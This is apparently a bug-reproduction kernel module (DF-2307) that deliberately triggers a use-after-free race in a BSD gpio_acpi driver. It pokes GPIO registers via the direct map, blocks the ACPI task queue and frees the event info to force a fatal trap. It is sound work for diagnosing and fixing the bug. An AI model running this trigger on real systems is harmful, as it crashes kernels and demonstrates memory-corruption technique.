DF-2307 / aei_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 | /* * aei_race.c -- DF-2307 deterministic race trigger (v2: self-contained). * * gpio_acpi_unmap_aei() (gpio_acpi.c:441-458) tears down AEI interrupts * but does NOT drain a gpio_acpi_handle_event() work item that * gpio_acpi_aei_handler() already queued via AcpiOsExecute(OSL_GPE_HANDLER) * (gpio_acpi.c:347). The item holds a raw pointer into sc->infos; * unmap_aei memset(0)s the info and kfrees the whole array (:453-455); * the deferred item then reads info->dev at :317 on freed/zeroed memory. * The in-source comment "XXX Wait until ACPI Event handler has finished" * (:452) documents the gap. * * v2 choreography (stock kernel, planted-ACPI boot; no boot-time register * image needed because the AEI arming runs from here AFTER the runtime * plant): * 0. devclass gpio_intel: device_detach(gpio_intel0) (real newbus; * detaches the gpio_acpi child, releases BAR/irq), * 1. plant the Cherry-View pin-2 CTL0/CTL1 words via the direct map * (same technique as the DF-5518 gpoke.ko rig), * 2. device_probe_and_attach(gpio_intel0) -- REAL re-attach: * gpio_intel_attach + gpio_cherryview_init + gpio_acpi child * attach -> gpio_acpi_map_aei -> AcpiGetEventResources(_AEI) -> * GPIO_ALLOC_INTR -> gpio_cherryview_map_intr reads the planted * regs -> intrmaps[4] armed with handler= gpio_acpi_aei_handler, * arg=info; GPIO_SETUP_INTR enables the MASK bit, * 3. queue a BLOCKER on the OSL_GPE_HANDLER queue (single kthread * acpi_task, OsdSchedule.c:100-141 -- FIFO), * 4. set the pin-2 interrupt-status bit and run the REAL ISR body * (lockmgr sc->lk + sc->fns->intr(sc) == gpio_cherryview_intr): * dispatches map->handler(map->arg) = gpio_acpi_aei_handler(info) * -> REAL AcpiOsExecute queues gpio_acpi_handle_event(info) behind * the blocker, * 5. device_detach(gpio_acpi0) (real path): gpio_acpi_detach -> * gpio_acpi_unmap_aei: TEARDOWN/FREE_INTR + memset(info) + kfree, * 6. release the blocker: acpi_task executes gpio_acpi_handle_event * on the freed/zeroed info -> info->dev == NULL/freelist -> * acpi_get_handle(device_get_parent(info->dev)) -> Fatal trap. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/bus.h> #include <sys/sysctl.h> #include <sys/thread.h> #include <sys/kthread.h> #include <machine/cpufunc.h> #include <machine/pmap.h> #include <machine/vmparam.h> #include <vm/vm_page.h> #include "/usr/src/sys/bus/gpio/gpio_intel/gpio_intel_var.h" #define AEI_OSL_GPE_HANDLER 2 extern int AcpiOsExecute(int type, void (*fn)(void *), void *ctx); #define GPO_WINDOW 0x000D0000ul #define CHV_REG_IS 0x300 #define AEI_INTIDX 4 /* intline nibble planted in CTL0(2) */ #define PIN2_CTL0 0x4410 /* PIN_ADDRESS(2) + 0x0 */ #define PIN2_CTL1 0x4414 /* PIN_ADDRESS(2) + 0x4 */ static volatile int aei_release; static volatile int aei_state; static void aei_blocker(void *arg) { kprintf("aei_race: blocker running on acpi_task (queue held)\n"); aei_state = 1; while (!aei_release) tsleep(&aei_release, 0, "aeiblk", hz / 10); kprintf("aei_race: blocker released; queued AEI event now runs on " "the freed info\n"); } static int aei_arm_and_race(void) { devclass_t dc_intel, dc_acpi; device_t gi_dev, ga_dev; struct gpio_intel_softc *sc; volatile uint32_t *win; int error; /* ---- 0. detach the in-kernel-attached pair (boot-time AEI failed * because the register image cannot survive firmware; see * VERDICT.md) ---- */ dc_intel = devclass_find("gpio_intel"); dc_acpi = devclass_find("gpio_acpi"); if (dc_intel == NULL || dc_acpi == NULL) { kprintf("aei_race: no devclasses (planted DSDT missing?)\n"); return (ENXIO); } gi_dev = devclass_get_device(dc_intel, 0); ga_dev = devclass_get_device(dc_acpi, 0); if (gi_dev == NULL) { kprintf("aei_race: no gpio_intel0\n"); return (ENXIO); } kprintf("aei_race: gpio_intel0=%p gpio_acpi0=%p; detaching pair\n", gi_dev, ga_dev); if (ga_dev != NULL) device_detach(ga_dev); error = device_detach(gi_dev); if (error) { kprintf("aei_race: gpio_intel detach failed %d\n", error); return (error); } /* ---- 1. plant pin-2 control regs ---- */ win = (volatile uint32_t *)PHYS_TO_DMAP(GPO_WINDOW); win[PIN2_CTL0 / 4] = 0x40008200; /* intline 4 | GPIOEN | GPIOCFG 0x200 */ win[PIN2_CTL1 / 4] = 0x00000002; /* INTCFG=2: edge, rising */ kprintf("aei_race: planted CTL0(2)=0x%08x CTL1(2)=0x%08x\n", win[PIN2_CTL0 / 4], win[PIN2_CTL1 / 4]); /* ---- 2. real re-attach (full production path incl. map_aei) ---- */ error = device_probe_and_attach(gi_dev); if (error) { kprintf("aei_race: re-attach failed %d\n", error); return (error); } ga_dev = devclass_get_device(dc_acpi, 0); sc = device_get_softc(gi_dev); kprintf("aei_race: re-attached: gpio_acpi0=%p intrmaps[%d].pin=%d " "handler=%p arg=%p\n", ga_dev, AEI_INTIDX, sc->intrmaps[AEI_INTIDX].pin, sc->intrmaps[AEI_INTIDX].handler, sc->intrmaps[AEI_INTIDX].arg); if (sc->intrmaps[AEI_INTIDX].pin == -1 || sc->intrmaps[AEI_INTIDX].handler == NULL || sc->intrmaps[AEI_INTIDX].arg == NULL) { kprintf("aei_race: AEI NOT armed after re-attach -- abort\n"); return (ENXIO); } /* ---- 3. blocker first (FIFO queue) ---- */ AcpiOsExecute(AEI_OSL_GPE_HANDLER, aei_blocker, NULL); tsleep(&aei_state, 0, "aeis1", hz / 4); if (aei_state == 0) kprintf("aei_race: WARN blocker not yet running\n"); /* ---- 4. raise IS bit + run the REAL ISR dispatch ---- */ win[CHV_REG_IS / 4] = (1U << AEI_INTIDX); lockmgr(&sc->lk, LK_EXCLUSIVE); sc->fns->intr(sc); /* == gpio_cherryview_intr() */ lockmgr(&sc->lk, LK_RELEASE); kprintf("aei_race: ISR dispatched; handle_event(info=%p) queued " "behind blocker\n", sc->intrmaps[AEI_INTIDX].arg); tsleep(&aei_state, 0, "aeis2", hz / 4); /* ---- 5. detach gpio_acpi: unmap_aei memset+kfree ---- */ error = device_detach(ga_dev); kprintf("aei_race: gpio_acpi detach returned %d " "(info memset+kfree done)\n", error); /* ---- 6. release: UAF NOW ---- */ kprintf("aei_race: releasing blocker -> handle_event on freed info\n"); aei_release = 1; wakeup(&aei_release); tsleep(&aei_state, 0, "aeis4", 3 * hz); kprintf("aei_race: STILL ALIVE after 3s -- UAF did not fire?!\n"); return (0); } static void aei_trigger(void *arg) { aei_arm_and_race(); kthread_exit(); } static int aei_race_modevent(module_t mod, int type, void *arg) { struct thread *td; switch (type) { case MOD_LOAD: kprintf("aei_race: loaded; arming in 1s\n"); kthread_create(aei_trigger, NULL, &td, "aei_race"); return (0); } return (0); } static moduledata_t aei_race_mod = { "aei_race", aei_race_modevent, NULL }; DECLARE_MODULE(aei_race, aei_race_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); |